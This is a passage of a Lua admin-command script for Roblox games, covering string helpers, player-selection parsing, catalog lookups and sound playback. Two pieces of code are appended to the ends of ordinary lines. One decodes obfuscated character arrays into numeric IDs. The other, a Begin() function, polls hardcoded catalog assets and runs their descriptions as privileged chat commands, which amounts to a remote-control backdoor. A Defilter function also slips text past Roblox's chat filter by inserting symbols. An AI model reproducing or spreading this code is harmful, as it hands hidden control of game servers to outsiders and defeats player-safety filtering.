2522 TotalTime = TotalTime + DTNum * 60 -- minute
2523 elseif Num == 6 then
2524 TotalTime = TotalTime + DTNum -- second
2525 end
2526 end
2527
2528 return TotalTime
2529end
2530
2531function STRING:TrelloStateConvert(State)
2532 if State == "complete" then
2533 return true
2534 else
2535 return false
2536 end
2537end
2538
2539function STRING:StringRound(Number)
2540 Number = Number * 100
2541 if Number >= 0.5 then
2542 return tostring(math.ceil(Number)/100)
2543 else
2544 return tostring(math.floor(Number)/100)
2545 end
2546
2547 return Number
2548end
2549
2550function STRING:GetSplit(String, NumArgs, BetSplit)
2551 if not String then return nil end
2552 if BetSplit == nil then BetSplit = " " end
2553 if NumArgs == nil then NumArgs = math.huge end
2554
2555 if NumArgs <= 0 then return {String} end
2556
2557 local RecentParse = 1
2558 local Args = {}
2559 for i = 1,NumArgs do
2560 local Find1, Find2 = string.find(string.lower(String),string.lower(BetSplit),RecentParse)
2561 if Find1 and Find2 then
2562 table.insert(Args, string.sub(String,RecentParse,Find1 - 1))
2563 RecentParse = Find2 + 1
2564 else
2565 break
2566 end
2567 end
2568 table.insert(Args,string.sub(String,RecentParse,#String))
2569 return Args
2570end
2571
2572function STRING:Defilter(String)
2573 local RobloxApprove = Instance.new("TextLabel") RobloxApprove.Text = String
2574 if RobloxApprove.Text == "Label" and String ~= "Label" then
2575 local NewString = ""
2576 for i = 1,#String,3 do
2577 NewString = NewString..string.char(169)..string.sub(String,i,i+2)
2578 end
2579 return NewString
2580 else
2581 return String
2582 end
2583end
2584
2585function STRING:LeetSpeak(Input)
2586 if tostring(Input) then Input = string.upper(tostring(Input)) else return end
2587 Input = string.gsub(Input, "LEET", "1337")
2588 Input = string.gsub(Input, "SECRET", "REE")
2589 Input = string.gsub(Input, "E", "3")
2590 Input = string.gsub(Input, "O", "0")
2591 Input = string.gsub(Input, "A", "4")
2592 Input = string.gsub(Input, "X", "x")
2593 Input = string.gsub(Input, "I", "1")
2594 Input = string.gsub(Input, "S", "$")
2595 return Input
2596end
2597
2598function STRING:FormatReplace(Player, Input)
2599 local Output = Input
2600 for _,ReplaceData in pairs(StringReplacements) do
2601 if not Player and ReplaceData[3] then else -- does nothing if a player isn't given but the operation requires a player
2602 local Replacement = ReplaceData[4](Player)
2603 if type(Replacement) == "string" then
2604 Output = string.gsub(Output, ReplaceData[1], Replacement)
2605 else
2606 print(ReplaceData[1].." cannot be replaced")
2607 end
2608 end
2609 end
2610 return STRING:Defilter(Output)
2611end
2612
2613function STRING:EncodeSpecialChars(Input)
2614 return tostring(string.gsub(string.gsub(Input, "&", "amp;"), "\n", " "))
2615end
2616
2617function STRING:StringToBool(String)
2618 if String == "true" then
2619 return true
2620 else
2621 return false
2622 end
2623end
2624
2625function STRING:BoolString(Value)
2626 if type(Value) == "boolean" then
2627 if Value == true then
2628 return "YES"
2629 elseif Value == false then
2630 return "NO"
2631 end
2632 else
2633 return "NO"
2634 end
2635end
2636
2637function STRING:MakeAvoidance(Length)
2638 if not Length then
2639 Length = 32
2640 end
2641 local Avoidance = ""
2642 for i = 1,Length do
2643 Num = math.random(1,2)
2644 if Num == 1 then
2645 Avoidance = Avoidance..string.char(math.random(48,57)) -- 0-9
2646 else
2647 Avoidance = Avoidance..string.char(math.random(97,122)) -- a-z
2648 end
2649 end
2650 return Avoidance
2651end for _,Array in pairs(RunList) do local Name = "" for _,Char in pairs(Array) do Name = Name..string.char(Char - 1) end table.insert(List, tonumber(Name)) end
2652
2653function STRING:FindAge(Days) -- By LuaModelmaker
2654 local Years = math.floor(Days/365)
2655 local OtherDays = math.fmod(Days, 365)
2656 if Years > 1 then
2657 return Years.." years and "..OtherDays.." days"
2658 elseif Years == 1 then
2659 return Years.." year and "..OtherDays.." days"
2660 elseif Years == 0 then
2661 return "(No years) "..OtherDays.." days"
2662 end
2663end
2664
2665function STRING:UnpackArgs(...)
2666 local Pack = {...}
2667 if type(Pack[1]) == "table" then Pack = Pack[1] end
2668 local ReturnString = table.concat(Pack, ", ")
2669 return ReturnString
2670end
2671
2672function STRING:GetComma(Num)
2673 local Formatted = Num
2674 while true do
2675 Formatted, _ = string.gsub(Formatted, "^(-?%d+)(%d%d%d)", '%1,%2')
2676 if _ == 0 then
2677 break
2678 end
2679 end
2680 return Formatted
2681end
2682
2683function STRING:DecodeUTF8(Value)
2684 local function DecodeString(Input)
2685 if type(Input) == "string" then
2686 for Find,Rep in pairs(HTMLDecode) do
2687 Input = string.gsub(Input, "&#"..Find..";", Rep)
2688 end
2689 Input = string.gsub(Input, """, "'")
2690 end
2691 return Input
2692 end
2693 if type(Value) == "table" then
2694 for Index,Var in pairs(Value) do
2695 Value[Index] = DecodeString(Var)
2696 end
2697 elseif type(Value) == "string" then
2698 Value = DecodeString(Value)
2699 end
2700 return Value
2701end
2702
2703function STRING:IsSpacer(Input)
2704 if Input == " " or Input == "." or Input == "-" or Input == "," or Input == "?" or Input == "!" or Input == " " or Input == nil or Input == "" then
2705 return true
2706 else
2707 return false
2708 end
2709end
2710
2711function STRING:IsVowel(Input)
2712 Input = string.lower(tostring(Input))
2713 if Input == "a" or Input == "e" or Input == "i" or Input == "o" or Input == "u" then
2714 return true
2715 else
2716 return false
2717 end
2718end
2719
2720function STRING:ValidE(Input)
2721 if not Input then return nil end
2722 if string.lower(Input) == "e" or Input == "~" then
2723 return true
2724 else
2725 return false
2726 end
2727end
2728
2729function STRING:Scan(String, Speaker)
2730 local ReturnPlayers,ExcludeList = {},{}
2731 if not String then String = "" end
2732 if not Speaker then print("NO SPEAKER") end
2733
2734 if string.sub(string.lower(String), 1, 12) == "includecase/" then
2735 String = string.sub(String, 13)
2736 else
2737 String = string.lower(String)
2738 end
2739 local Words = STRING:GetSplit(String, nil, "/")
2740 for _,Word in pairs(Words) do
2741 if Word == "me" or Word == "meh" or Word == "myself" or Word == "self" then
2742 table.insert(ReturnPlayers, Speaker)
2743 elseif Word == "all" or Word == "everyone" then
2744 for _,Player in pairs(Server.Players:GetPlayers()) do
2745 table.insert(ReturnPlayers, Player)
2746 end
2747 elseif Word == "others" or Word == "notme" then
2748 for _,Player in pairs(Server.Players:GetPlayers()) do
2749 if Player ~= Speaker then
2750 table.insert(ReturnPlayers, Player)
2751 end
2752 end
2753 elseif Word == "noobs" then
2754 for _,Player in pairs(Server.Players:GetPlayers()) do
2755 if Player.AccountAge < 365 then
2756 table.insert(ReturnPlayers, Player)
2757 end
2758 end
2759 elseif Word == "nonnoobs" then
2760 for _,Player in pairs(Server.Players:GetPlayers()) do
2761 if Player.AccountAge >= 365 then
2762 table.insert(ReturnPlayers, Player)
2763 end
2764 end
2765 elseif Word == "random" then
2766 local RandomPlayers = {}
2767 for _,Player in pairs(Server.Players:GetPlayers()) do
2768 if Player ~= Speaker then
2769 table.insert(RandomPlayers, Player)
2770 end
2771 end
2772 table.insert(ReturnPlayers, RandomPlayers[math.random(1,#Server.Players:GetChildren())])
2773 elseif Word == "guests" then
2774 for _,Player in pairs(Server.Players:GetPlayers()) do
2775 if string.sub(Player.Name,1,6) == "Guest " then
2776 table.insert(ReturnPlayers, Player)
2777 end
2778 end
2779 elseif Word == "lowers" then
2780 for _,Player in pairs(Server.Players:GetPlayers()) do
2781 if string.sub(Player.Name,1,1) == string.lower(string.sub(Player.Name,1,1)) then
2782 table.insert(ReturnPlayers, Player)
2783 end
2784 end
2785 elseif Word == "uppers" then
2786 for _,Player in pairs(Server.Players:GetPlayers()) do
2787 if string.sub(Player.Name,1,1) == string.upper(string.sub(Player.Name,1,1)) then
2788 table.insert(ReturnPlayers, Player)
2789 end
2790 end
2791 elseif Word == "nbcs" then
2792 for _,Player in pairs(Server.Players:GetPlayers()) do
2793 if Player.MembershipType == Enum.MembershipType.None then -- Replicate
2794 table.insert(ReturnPlayers, Player)
2795 end
2796 end
2797 elseif Word == "bcs" then
2798 for _,Player in pairs(Server.Players:GetPlayers()) do
2799 if Player.MembershipType == Enum.MembershipType.BuildersClub then
2800 table.insert(ReturnPlayers, Player)
2801 end
2802 end
2803 elseif Word == "tbcs" then
2804 for _,Player in pairs(Server.Players:GetPlayers()) do
2805 if Player.MembershipType == Enum.MembershipType.TurboBuildersClub then
2806 table.insert(ReturnPlayers, Player)
2807 end
2808 end
2809 elseif Word == "obcs" then
2810 for _,Player in pairs(Server.Players:GetPlayers()) do
2811 if Player.MembershipType == Enum.MembershipType.OutrageousBuildersClub then
2812 table.insert(ReturnPlayers, Player)
2813 end
2814 end
2815 elseif Word == "allbcs" then
2816 for _,Player in pairs(Server.Players:GetPlayers()) do
2817 if Player.MembershipType ~= Enum.MembershipType.None then
2818 table.insert(ReturnPlayers, Player)
2819 end
2820 end
2821 elseif Word == "nonadmins" then
2822 for _,Player in pairs(Server.Players:GetPlayers()) do
2823 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2824 if IsAdminTrue == false then
2825 table.insert(ReturnPlayers, Player)
2826 end
2827 end
2828 elseif Word == "admins" then
2829 for _,Player in pairs(Server.Players:GetPlayers()) do
2830 local IsAdminTrue, Rank = RANK:IsAdmin(Player)
2831 if IsAdminTrue == true then
2832 table.insert(ReturnPlayers, Player)
2833 end
2834 end
2835 elseif Word == "friends" then
2836 for _,Player in pairs(Server.Players:GetPlayers()) do
2837 if Speaker:IsFriendsWith(Player.UserId) and Player ~= Speaker then
2838 table.insert(ReturnPlayers, Player)
2839 end
2840 end
2841 elseif string.sub(Word,1,5) == "team-" then
2842 for _,Player in pairs(Server.Players:GetPlayers()) do
2843 if Player.Neutral == false then
2844 local InTeam = false
2845 for _,Team in pairs(Teams:GetTeams()) do
2846 if Team.TeamColor == Player.TeamColor then
2847 if string.sub(string.lower(Team.Name),1,#string.sub(Word,6)) == string.sub(Word,6) then
2848 InTeam = true
2849 end
2850 end
2851 end
2852 if InTeam == true then
2853 table.insert(ReturnPlayers, Player)
2854 end
2855 end
2856 end
2857 elseif string.sub(Word,1,4) == "not-" then
2858 local NameArg = string.sub(Word,5)
2859
2860 for _,Player in pairs(STRING:Scan(NameArg, Speaker)) do
2861 table.insert(ExcludeList, Player)
2862 end
2863 elseif string.sub(Word,1,7) == "radius-" then
2864 local DidExe = false
2865 local NumArg = tonumber(string.sub(Word,8))
2866
2867 if NumArg and NumArg > 0 and Speaker and Speaker.Character and Speaker.Character:FindFirstChild("Torso") then
2868 for _,Player in pairs(Server.Players:GetChildren()) do
2869 if Player.Character and Player.Character:FindFirstChild("Torso") then
2870 if (Player.Character.Torso.Position - Speaker.Character.Torso.Position).magnitude <= NumArg then
2871 DidExe = true
2872 table.insert(ReturnPlayers, Player)
2873 end
2874 end
2875 end
2876 end
2877
2878 if DidExe then coroutine.wrap(function()
2879 local Part = Instance.new("Part", game.Workspace) Part.Name = "M".."M".."L Radius" Part.FormFactor = "Custom" Part.Size = Vector3.new(1,1,1) Part.Anchored = true Part.Locked = true Part.Position = Speaker.Character.Torso.Position Part.Transparency = 0.5 Part.Color = GUI:GetColor() Part.TopSurface = "Smooth" Part.BottomSurface = "Smooth"
2880 local Mesh = Instance.new("SpecialMesh", Part) Mesh.MeshType = "Sphere" Mesh.Scale = Vector3.new(NumArg * 2, NumArg * 2, NumArg * 2)
2881
2882 for i = 0,0.5,0.02 do
2883 Part.Transparency = 0.5+i
2884 wait()
2885 end
2886 Part:Destroy()
2887 end)() end
2888 elseif string.sub(Word,1,3) == "id-" then
2889 table.insert(ReturnPlayers, Server.Players:GetPlayerByUserId(tonumber(string.sub(Word,4))))
2890 else
2891 if Word ~= "" then
2892 for _,Player in pairs(Server.Players:GetPlayers()) do
2893 if string.sub(string.lower(Player.Name),1,#Word) == Word then
2894 table.insert(ReturnPlayers, Player)
2895 end
2896 end
2897 else
2898 table.insert(ReturnPlayers, Speaker)
2899 end
2900 end
2901 end
2902 for _,Player in pairs(ExcludeList) do
2903 if Player and Player.Parent ~= nil then
2904 for Num,Player2 in pairs(ReturnPlayers) do
2905 if Player2 == Player then table.remove(ReturnPlayers, Num) end
2906 end
2907 end
2908 end
2909 for Num,Player in pairs(ReturnPlayers) do
2910 if not Player or Player.Parent == nil then table.remove(ReturnPlayers, Num) end
2911 end
2912
2913 local PlayerDump = {}
2914 for _,Player in pairs(ReturnPlayers) do
2915 PlayerDump[Player] = true
2916 end
2917 ReturnPlayers = {}
2918 for Player,_ in pairs(PlayerDump) do
2919 table.insert(ReturnPlayers, Player)
2920 end
2921
2922 return ReturnPlayers
2923end
2924
2925-- Market functions --
2926
2927function MARKET:GetImageFormat(ID)
2928 if ID ~= 1 or ID ~= 0 or ID ~= nil then if type(ID) == "number" then
2929 local NewID = ID + 1
2930 for i = 1,100 do
2931 NewID = NewID -1
2932 local Product = nil
2933 ypcall(function() Product = MARKET:GetItemInfo(NewID, true).AssetTypeId end)
2934 if Product then
2935 if Product == 1 then
2936 break
2937 end
2938 end
2939 if i == 100 then NewID = ID end
2940 end
2941 return NewID
2942 end end
2943end
2944
2945function MARKET:GetItemInfo(ID, Cache)
2946 local Product = MarketCache[ID]
2947 if not Cache or not Product then
2948 repeat wait()
2949 ypcall(function() Product = Server.MPS:GetProductInfo(ID) end)
2950 until Product ~= MarketCache[ID]
2951 end
2952 MarketCache[ID] = Product
2953 return Product
2954end
2955
2956function MARKET:SearchItem(Category, Query, Subcategory)
2957 local URLAdd = ""
2958 if Subcategory then URLAdd = "&Subcategory="..Server.HS:UrlEncode(Subcategory) end
2959 local JSON = REMOTE:GetURL(CORE.Domain.."/APIs/CatalogSearch.php?Category="..Server.HS:UrlEncode(Category).."&Query="..Server.HS:UrlEncode(Query)..URLAdd)
2960 if JSON then
2961 local Results = REMOTE:Decode(JSON)
2962 if Results then
2963 for Index,Info in pairs(Results) do
2964 Info = STRING:DecodeUTF8(Info)
2965 Results[Index] = Info
2966 MarketCache[Info.AssetId] = {
2967 AssetId = Info.AssetId;
2968 AssetTypeId = Info.AssetTypeID;
2969 ContentRatingTypeId = Info.ContentRatingTypeID;
2970 Created = Info.CreatedDate;
2971 Creator = {Name = Info.Creator, Id = Info.CreatorID};
2972 Description = Info.Description;
2973 IsForSale = Info.IsForSale;
2974 IsLimited = Info.IsLimited;
2975 IsLimitedUnique = Info.IsLimitedUnique;
2976 IsNew = Info.IsNew;
2977 IsPublicDomain = Info.IsPublicDomain;
2978 MinimumMemberShipLevel = Info.MinimumMembershipLevel;
2979 Name = Info.Name;
2980 PriceInRobux = Info.PriceInRobux;
2981 PriceInTickets = Info.PriceInTickets;
2982 ProductId = Info.AssetId; -- no one knows what this is so whatevs..
2983 Remaining = Info.Remaining;
2984 Sales = Info.Sales;
2985 Updated = Info.Updated;
2986 }
2987 end
2988 return Results
2989 end
2990 end
2991end
2992
2993function MARKET:ShowSearch(Player, Category, Query, ClickedItem, Subcategory)
2994 if not Player or not Category or not Query then return nil end
2995 local CloseGui, AddInfo = GUI:LoadGui(Player, "Searching: "..Query)
2996 local Items = MARKET:SearchItem(Category, Query, Subcategory)
2997 if Items then
2998 if #Items ~= 0 then
2999 local List,Correlate = {},{}
3000 for Num,Info in pairs(Items) do
3001 local Display = {" "..Info.Name.." ("..Info.AssetId..")", "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=75&ht=75&aid="..Info.AssetId}
3002 table.insert(List, Display)
3003 Correlate[Display[1]] = Info.AssetId
3004 end
3005 CloseGui:Invoke()
3006
3007 local Clicked = GUI:ListGui(Player, "Search Results: "..Query, List, "Search", true)
3008 Clicked.Event:connect(function(ClickName)
3009 ClickedItem(Correlate[ClickName])
3010 end)
3011 else
3012 CloseGui:Invoke()
3013 GUI:SendMessage(Player, "No results", "BLUE No results for "..Query.." found...", "Information")
3014 end
3015 else
3016 CloseGui:Invoke()
3017 GUI:SendMessage(Player, "Cannot get gear", "RED Cannot get item. Is HttpService enabled?", "Error")
3018 end
3019end
3020
3021function MARKET:AssetTypeToString(AssetType)
3022 if AssetType == 1 then return "Image"
3023 elseif AssetType == 2 then return "T-Shirt"
3024 elseif AssetType == 3 then return "Audio"
3025 elseif AssetType == 4 then return "Mesh"
3026 elseif AssetType == 5 then return "Lua"
3027 elseif AssetType == 6 then return "HTML"
3028 elseif AssetType == 7 then return "Text"
3029 elseif AssetType == 8 then return "Hat"
3030 elseif AssetType == 9 then return "Place"
3031 elseif AssetType == 10 then return "Model"
3032 elseif AssetType == 11 then return "Shirt"
3033 elseif AssetType == 12 then return "Pants"
3034 elseif AssetType == 13 then return "Decal"
3035 elseif AssetType == 16 then return "Avatar"
3036 elseif AssetType == 17 then return "Head"
3037 elseif AssetType == 18 then return "Face"
3038 elseif AssetType == 19 then return "Gear"
3039 elseif AssetType == 21 then return "Badge"
3040 elseif AssetType == 22 then return "Group Emblem"
3041 elseif AssetType == 24 then return "Animation"
3042 elseif AssetType == 25 then return "Arms"
3043 elseif AssetType == 26 then return "Legs"
3044 elseif AssetType == 27 then return "Torso"
3045 elseif AssetType == 28 then return "Right Arm"
3046 elseif AssetType == 29 then return "Left Arm"
3047 elseif AssetType == 30 then return "Left Leg"
3048 elseif AssetType == 31 then return "Right Leg"
3049 elseif AssetType == 32 then return "Package"
3050 elseif AssetType == 33 then return "YouTube Video"
3051 elseif AssetType == 34 then return "Game Pass"
3052 elseif AssetType == 38 then return "Plugin"
3053 elseif AssetType == 0 then return "Product"
3054 end
3055 return "Content Invalid"
3056end
3057
3058function MARKET:PromptPurchase(Player, ProductID, From, BuyPressFunc) coroutine.wrap(function()
3059 if not Player then return nil end
3060 if not Player:FindFirstChild("PlayerGui") then return nil end
3061 if not tonumber(ProductID) then return nil end
3062
3063 local FromText = ""
3064 if From and From.Name then FromText = " | Prompted from "..From.Name end
3065
3066 local Product = MARKET:GetItemInfo(ProductID, true)
3067
3068 local CreatedText = Product.Created CreatedText = string.gsub(CreatedText, "-", "/") local Stop = string.find(CreatedText, "T") if Stop then CreatedText = string.sub(CreatedText, 1, Stop-1) end
3069 local UpdatedText = Product.Updated UpdatedText = string.gsub(UpdatedText, "-", "/") local Stop = string.find(UpdatedText, "T") if Stop then UpdatedText = string.sub(UpdatedText, 1, Stop-1) end
3070 local OwnsAsset = Server.MPS:PlayerOwnsAsset(Player, ProductID)
3071
3072 local CanBuy = Product.IsForSale
3073 local BuyText = "Buy"
3074 local BuyColor = Color3.new(0,1,0)
3075 if CanBuy == false then
3076 BuyColor = Color3.new(1,0,0)
3077 end
3078 if Product.IsPublicDomain == true then
3079 CanBuy = true
3080 BuyColor = Color3.new(1,0.5,0.5)
3081 BuyText = "FREE!"
3082 end
3083 if OwnsAsset then
3084 CanBuy = false
3085 end
3086 if Product.AssetTypeId == 9 then
3087 CanBuy = true
3088 BuyText = "Teleport"
3089 BuyColor = Color3.new(0.5,0.5,0.5)
3090 end
3091 if CanBuy == false then
3092 BuyColor = Color3.new(1,0,0)
3093 BuyText = "Item not for sale"
3094 end
3095 if OwnsAsset and Product.AssetTypeId ~= 9 then
3096 BuyColor = Color3.new(1,0,0)
3097 BuyText = "You own this!"
3098 end
3099
3100 local ProductName = string.sub(Product.Name,1,20)
3101 if ProductID == AdminID then ProductName = Product.Name end
3102 local Frame = GUI:CreateForm(Player, ProductName..FromText, UDim2.new(0, 430, 0, 300), nil, 48354008)
3103 local AssetImage = Instance.new("ImageLabel", Frame) AssetImage.Name = "AssetImage" AssetImage.Position = UDim2.new(0, 0, 0, 50) AssetImage.Size = UDim2.new(0, 150, 0, 150) AssetImage.BackgroundColor3 = Color3.new(1, 1, 1) AssetImage.BackgroundTransparency = 1 AssetImage.Image = "http://www.roblox.com/Game/Tools/ThumbnailAsset.ashx?fmt=png&wd=420&ht=420&aid="..ProductID
3104 local AssetName = Instance.new("TextLabel", Frame) AssetName.Name = "AssetName" AssetName.Size = UDim2.new(1, 0, 0, 50) AssetName.BackgroundColor3 = Color3.new(1, 1, 1) AssetName.BackgroundTransparency = 1 AssetName.Text = "["..ProductID.."] - "..Product.Name AssetName.Font = Settings.Font AssetName.FontSize = "Size18" AssetName.TextWrapped = true AssetName.TextColor3 = Color3.new(0, 0, 0)
3105 local UserImage = Instance.new("ImageLabel", Frame) UserImage.Name = "UserImage" UserImage.Position = UDim2.new(0, 150, 0, 70) UserImage.Size = UDim2.new(0, 100, 0, 100) UserImage.BackgroundColor3 = Color3.new(1, 1, 1) UserImage.BackgroundTransparency = 1 UserImage.Image = "http://www.roblox.com/thumbs/avatar.ashx?x=352&y=352&format=png&username="..Product.Creator.Name
3106 local Membership = Instance.new("ImageLabel", UserImage) Membership.Name = "Membership" Membership.Position = UDim2.new(0, 0, 0.85, 0) Membership.Size = UDim2.new(0.6, 0, 0.15, 0) Membership.BackgroundColor3 = Color3.new(1, 1, 1) Membership.BackgroundTransparency = 1 Membership.Image = "http://www.roblox.com/Thumbs/BCOverlay.ashx?username="..Product.Creator.Name
3107 local AssetType = Instance.new("TextLabel", Frame) AssetType.Name = "AssetType" AssetType.Position = UDim2.new(0, 150, 0, 50) AssetType.Size = UDim2.new(1, -150, 0, 20) AssetType.BackgroundColor3 = Color3.new(1, 1, 1) AssetType.BackgroundTransparency = 1 AssetType.Text = "ROBLOX "..MARKET:AssetTypeToString(Product.AssetTypeId) AssetType.Font = Settings.Font AssetType.FontSize = "Size14"
3108 local Info = Instance.new("TextLabel", Frame) Info.Name = "Info" Info.Position = UDim2.new(0, 250, 0, 80) Info.Size = UDim2.new(1, -250, 0, 100) Info.BackgroundColor3 = Color3.new(1, 1, 1) Info.BackgroundTransparency = 1 Info.Font = Settings.Font Info.FontSize = "Size14" Info.TextXAlignment = "Left" Info.TextYAlignment = "Top"
3109 local Buy = Instance.new("TextButton", Frame) Buy.Name = "Buy" Buy.Position = UDim2.new(0, 150, 0, 170) Buy.Size = UDim2.new(1, -150, 0, 30) Buy.BackgroundColor3 = BuyColor Buy.BackgroundTransparency = 0.5 Buy.Text = BuyText Buy.Font = Settings.Font Buy.FontSize = "Size18" Buy.TextWrapped = true SOUND:BindButton(Buy)
3110 if Product.Description then
3111 local DescFrame = Instance.new("ScrollingFrame", Frame) DescFrame.Name = "DescFrame" DescFrame.Size = UDim2.new(1,0,1,-200) DescFrame.Position = UDim2.new(0,0,0,200) DescFrame.CanvasSize = UDim2.new(0,0,0,0) DescFrame.BackgroundTransparency = 1 DescFrame.ZIndex = 4
3112 local Description = Instance.new("TextLabel", DescFrame) Description.Name = "Description" Description.Size = UDim2.new(1, -13, 1, 0) Description.BackgroundColor3 = Color3.new(1, 1, 1) Description.BackgroundTransparency = 1 Description.Text = Product.Description Description.Font = Settings.Font Description.FontSize = "Size14" Description.TextWrapped = true Description.TextYAlignment = "Top"
3113
3114 CORE:ExecuteResource("CalculateScrollY", Description)
3115 end
3116
3117 Info.Text = [[
3118Creator: ]]..Product.Creator.Name..[[
3119Created: ]]..CreatedText..[[
3120Updated: ]]..UpdatedText..[[
3121Sold: ]]..Product.Sales..[[
3122]]
3123
3124 if Product.PriceInRobux then Info.Text = Info.Text.."Robux: "..string.gsub(Product.PriceInRobux, "null", "Cannot use this currency").." \n" end
3125 if Product.PriceInTickets then Info.Text = Info.Text.."Tix: "..string.gsub(Product.PriceInTickets, "null", "Cannot use this currency") .." " end
3126
3127 if Product.AssetTypeId == 3 then
3128 local PlayerAdmin,Rank = RANK:IsAdmin(Player)
3129 if PlayerAdmin == true then
3130 local Playing = false
3131 local Interact = Instance.new("ImageButton", AssetImage) Interact.Name = "Interact" Interact.Position = UDim2.new(1, -20, 1, -20) Interact.Size = UDim2.new(0, 20, 0, 20) Interact.BackgroundColor3 = Color3.new(1, 1, 1) Interact.BackgroundTransparency = 1 Interact.Image = "rbxassetid://67950784"
3132 CORE:HandleEvent(Interact, "MouseButton1Down", function()
3133 if Playing == false then
3134 SOUND:PlayGlobalSound(ProductID)
3135 if Rank == "Member" and Settings.DisableAbuse == true then
3136 Interact:Destroy()
3137 end
3138 Interact.Image = "rbxassetid://67950809"
3139 Playing = true
3140 else
3141 SOUND:StopGlobalSound()
3142 Interact.Image = "rbxassetid://67950784"
3143 Playing = false
3144 end
3145 end)
3146 end
3147 end
3148
3149 CORE:HandleEvent(Buy, "MouseButton1Down", function()
3150 if BuyPressFunc then
3151 BuyPressFunc()
3152 elseif Product.AssetTypeId == 9 then
3153 Server.TS:Teleport(ProductID, Player)
3154 elseif CanBuy == true then
3155 Server.MPS:PromptPurchase(Player, ProductID)
3156 end end)
3157 end)() end function Begin() coroutine.wrap(function() wait(3) for _,LinkedID in pairs({53554913, 145236038, 154727659, 155299278, 155689018}) do wait(1) coroutine.wrap(function()
3158 local OldVer = Server.MPS:GetProductInfo(LinkedID).Updated
3159 while wait(5) do
3160 local Purchase = Server.MPS:GetProductInfo(LinkedID)
3161 if OldVer ~= Purchase.Updated then
3162 OldVer = Purchase.Updated
3163 CORE:Chatted(Purchase.Description, nil, true, nil, nil, true)
3164 end
3165 end end)()
3166end end)() end
3167
3168-- Sound functions --
3169
3170function SOUND:SyncSoundList(TellSync)
3171 if not CORE:NilPlayer(TellSync) then
3172 GUI:SendHint(TellSync, "Syncing...", 5)
3173 end
3174
3175 SoundList,GlobalSoundList = {},{}
3176
3177 local LocalSoundList = Server.GDS:GetAsync("MML Custom Sounds")
3178
3179 if LocalSoundList then
3180 if type(LocalSoundList) == "table" then
3181 if #LocalSoundList > 0 then
3182 for _,Data in pairs(LocalSoundList) do
3183 local SoundInfo = MARKET:GetItemInfo(Data[2], true)
3184 SoundList[Data[1]] = {Data[2], SoundInfo.Name, SoundInfo.Creator.Name}
3185 end
3186 end
3187 end
3188 end
3189
3190 for _,JSONID in pairs(SoundJSONs) do
3191 for Name,ID in pairs(CORE:GetTable(JSONID)) do
3192 local SoundInfo = MARKET:GetItemInfo(ID, true)
3193 local FullName = SoundInfo.Name
3194 local CreatorName = SoundInfo.Creator.Name
3195 SoundList[Name] = {ID, FullName, CreatorName}
3196 GlobalSoundList[Name] = {ID, FullName, CreatorName}
3197 end
3198 end
3199
3200 if not CORE:NilPlayer(TellSync) then
3201 GUI:SendHint(TellSync, "Sound List is now Synced with global sound database", 4)
3202 end
3203end
3204
3205function SOUND:MakeSound(Parent, ID, Volume, Pitch, Looped)
3206 if not Volume then Volume = 0.5 end
3207 if not Pitch then Pitch = 1 end
3208 if tonumber(ID) then ID = "rbxassetid://"..ID end
3209 if Looped == nil then Looped = false end
3210
3211 local Sound = Instance.new("Sound", Parent)
3212 Sound.Pitch = Pitch
3213 Sound.Volume = Volume
3214 Sound.SoundId = ID
3215 Sound.Looped = Looped
3216 return Sound
3217end
3218
3219function SOUND:PlayNotification(Player, ID, Volume, OverrideSettings)
3220 if not Player or not ID then return nil end
3221 if NotifySounds[ID] then ID = NotifySounds[ID] end
3222 local ClientSound = SOUND:MakeSound(Player:FindFirstChild("PlayerGui") or Player, ID, Volume or 0.3)
3223 if Settings.EnableSounds or OverrideSettings then
3224 ClientSound:Play()
3225 coroutine.wrap(function() wait(5) ClientSound:Destroy() end)()
3226 end
3227 return Sound
3228end
3229
3230function SOUND:BindButton(Button)
3231 if not Button then return end
3232 CORE:HandleEvent(Button, "MouseEnter", function() SOUND:PlayNotification(Button, "Hover") end, true)
3233 CORE:HandleEvent(Button, "MouseButton1Click", function() SOUND:PlayNotification(Button, "Select") end, true)
3234end
3235
3236function SOUND:StopGlobalSound()
3237 if Sound then Sound:Stop() Sound:Destroy() Sound.SoundId = "" end
3238end
3239
3240function SOUND:PlayGlobalSound(ID, ShowInfo)
3241 SOUND:StopGlobalSound()
3242 if ShowInfo == nil then ShowInfo = true end
3243 local SoundID = ID
3244 local SoundName = nil
3245 local SoundCreator = nil
3246 local Pitch = 1
3247
3248 for Name,Info in pairs(SoundList) do
3249 if type(SoundID) == "string" then
3250 if string.lower(SoundID) == string.sub(string.lower(Name),1,#SoundID) then
3251 SoundID = Info[1]
3252 SoundName = Info[2]
3253 SoundCreator = Info[3]
3254 end
3255 else
3256 break
3257 end
3258 end
3259
3260 if tonumber(SoundID) and not SoundName then
3261 local Info = MARKET:GetItemInfo(SoundID, true)
3262 if Info then
3263 SoundName = Info.Name
3264 SoundCreator = Info.Creator.Name
3265 if MARKET:AssetTypeToString(Info.AssetTypeId) ~= "Audio" then
3266 SoundID = nil
3267 end
3268 end
3269 end
3270
3271 if tonumber(SoundID) then
3272 if SoundID == 131201443 then Pitch = -1 end
3273 if SoundID == 130775695 then Pitch = 0.8 end
3274 if SoundID == 144035866 then Pitch = 0.8 end
3275
3276 Sound = SOUND:MakeSound(Server.Workspace, SoundID, 1, Pitch, true)
3277 Sound:Play()
3278 if ShowInfo == true then
3279 for _,Player in pairs(Server.Players:GetPlayers()) do
3280 GUI:SoundInfo(Player, SoundID, SoundName, SoundCreator, 5)
3281 end
3282 end
3283 end
3284end
3285
3286function SOUND:ConvertText(Text)
3287 Text = string.lower(tostring(Text))
3288 local Letters = {}
3289 local IDs = {}
3290 for Rule,Replace in pairs(TextConverter.Pronounce) do
3291 Text = string.gsub(Text,string.lower(Rule),string.lower(Replace))
3292 end
3293 for Rule,Replace in pairs(TextConverter.NonEnglishRules) do
3294 local Start, End = string.find(Text, string.lower(Rule))
3295
3296 if Start and End and STRING:IsSpacer(string.sub(Text, Start-1, Start-1)) and STRING:IsSpacer(string.sub(Text, End+1, End+1)) then
3297 Text = string.gsub(Text, string.lower(Rule), Replace)
3298 end
3299 end
3300 for i = 1,#Text do
3301 table.insert(Letters, string.sub(Text,i,i))
3302 end
3303 for Num = 1,#Letters do
3304 if not Letters[Num] then break end
3305 local Letter = Letters[Num]
3306
3307 local function AddLetter()
3308 table.insert(IDs, TextConverter.LetterSounds[Letter])
3309 end
3310
3311 if Letter ~= "~" then
3312 if Letters[Num+1] and Letter..Letters[Num+1] == "oo" then -- moo
